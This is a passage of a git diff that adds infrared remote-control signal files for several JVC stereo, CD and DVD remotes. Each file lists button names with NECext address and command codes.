+address: 9F 00 00 00 +command: 02 00 00 00 +# +name: ACTIVE_HYPER_BASS +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 04 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 11 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 12 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: TIMER_SET +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 30 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 33 00 00 00 +# +name: TIMER_ON_OFF +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 36 00 00 00 +# +name: SEARCH_UP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: SEARCH_DOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: CD_PLAY_PAUSE +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: MEMORY_CALL +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 74 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 76 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 77 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 78 00 00 00 +# +name: FREQUENCY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir new file mode 100644 index 000000000..2e0bf1477 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 72 00 00 00 +# +name: PREV_TRACK +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 73 00 00 00 +# +name: MEMORY/CALL +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 74 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir new file mode 100644 index 000000000..39e752f02 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 02 00 00 00 +# +name: hyperbass +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 04 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 11 00 00 00 +# +name: autopreset +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 13 00 00 00 +# +name: presettuning +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 15 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1C 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 30 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 36 00 00 00 +# +name: search+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: search- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 41 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 44 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 45 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4C 00 00 00 +# +name: reverseplay +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4D 00 00 00 +# +name: synchrorec +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 56 00 00 00 +# +name: cdplay +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: cdstop +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 74 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 75 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 76 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 77 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 78 00 00 00 +# +name: cddoor +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 7B 00 00 00 +# +name: bass+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 87 00 00 00 +# +name: bass- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 88 00 00 00 +# +name: treble+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 89 00 00 00 +# +name: treble- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 8A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir new file mode 100644 index 000000000..7a7a5a309 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 02 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: AUTOPRESET +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 13 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: CDNEXT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: CDPREV +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: TAPESTOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 41 00 00 00 +# +name: TAPENEXT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 44 00 00 00 +# +name: TAPEPREV +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 45 00 00 00 +# +name: TAPEREC +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4B 00 00 00 +# +name: TAPERIGHT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4C 00 00 00 +# +name: TAPELEFT +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4D 00 00 00 +# +name: CDPLAY +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: CDSTOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: CDDOOR +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 7B 00 00 00 +# +name: BASSUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 87 00 00 00 +# +name: BASSDOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 88 00 00 00 +# +name: TREBLEUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 89 00 00 00 +# +name: TREBLEDOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 8A 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir new file mode 100644 index 000000000..107e5e960 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 02 00 00 00 +# +name: ahb-pro +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 04 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 0D 00 00 00 +# +name: auto-preset +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 12 00 00 00 +# +name: display-mode +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 16 00 00 00 +# +name: pty-eon +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 17 00 00 00 +# +name: right-select +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 18 00 00 00 +# +name: left-select +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 19 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1C 00 00 00 +# +name: stereo +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 3E 00 00 00 +# +name: reverse-mode +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 41 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 4C 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 70 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 71 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 74 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 77 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 78 00 00 00 +# +name: bass+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 87 00 00 00 +# +name: bass- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 88 00 00 00 +# +name: treble+ +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 89 00 00 00 +# +name: treble- +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 8A 00 00 00 +# +name: beat-cut +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: EE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir new file mode 100644 index 000000000..3eeaafd76 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 00 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 05 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 10 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 11 00 00 00 +# +name: bass +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 12 00 00 00 +# +name: tuning +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 20 00 00 00 +# +name: discskip +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 21 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 22 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 26 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 30 00 00 00 +# +name: fade +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 32 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 34 00 00 00 +# +name: soudmode +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 40 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 41 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 47 00 00 00 +# +name: cdplay +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 51 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 53 00 00 00 +# +name: fmam +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 60 00 00 00 +# +name: tapeplay +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 61 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir new file mode 100644 index 000000000..e2a2f9d22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: poen +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: display_mode +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 54 00 00 00 +# +name: index_right +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 56 00 00 00 +# +name: index_left +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 57 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: reapet +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6A 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 72 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir new file mode 100644 index 000000000..68acc6ca9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: standbyon +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 43 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 44 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 4D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 60 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 61 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 62 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 63 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 64 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 65 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 66 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 67 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 68 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 69 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6E 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 6F 00 00 00 +# +name: frev +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 70 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 76 00 00 00 +# +name: choice +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 7F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: EF 00 00 00 +command: 83 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B0 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B1 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B5 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: EF 00 00 00 +command: B9 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BC 00 00 00 +# +name: X_KEY_3dphonic +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BD 00 00 00 +# +name: theaterposition +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BE 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C1 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C2 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: EF 00 00 00 +command: C8 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CB 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: EF 00 00 00 +command: CD 00 00 00 +# +name: arrowup +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D0 00 00 00 +# +name: arrowdown +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D1 00 00 00 +# +name: arrowleft +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D2 00 00 00 +# +name: arrowright +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D3 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D4 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: D5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir new file mode 100644 index 000000000..7503b5f05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: 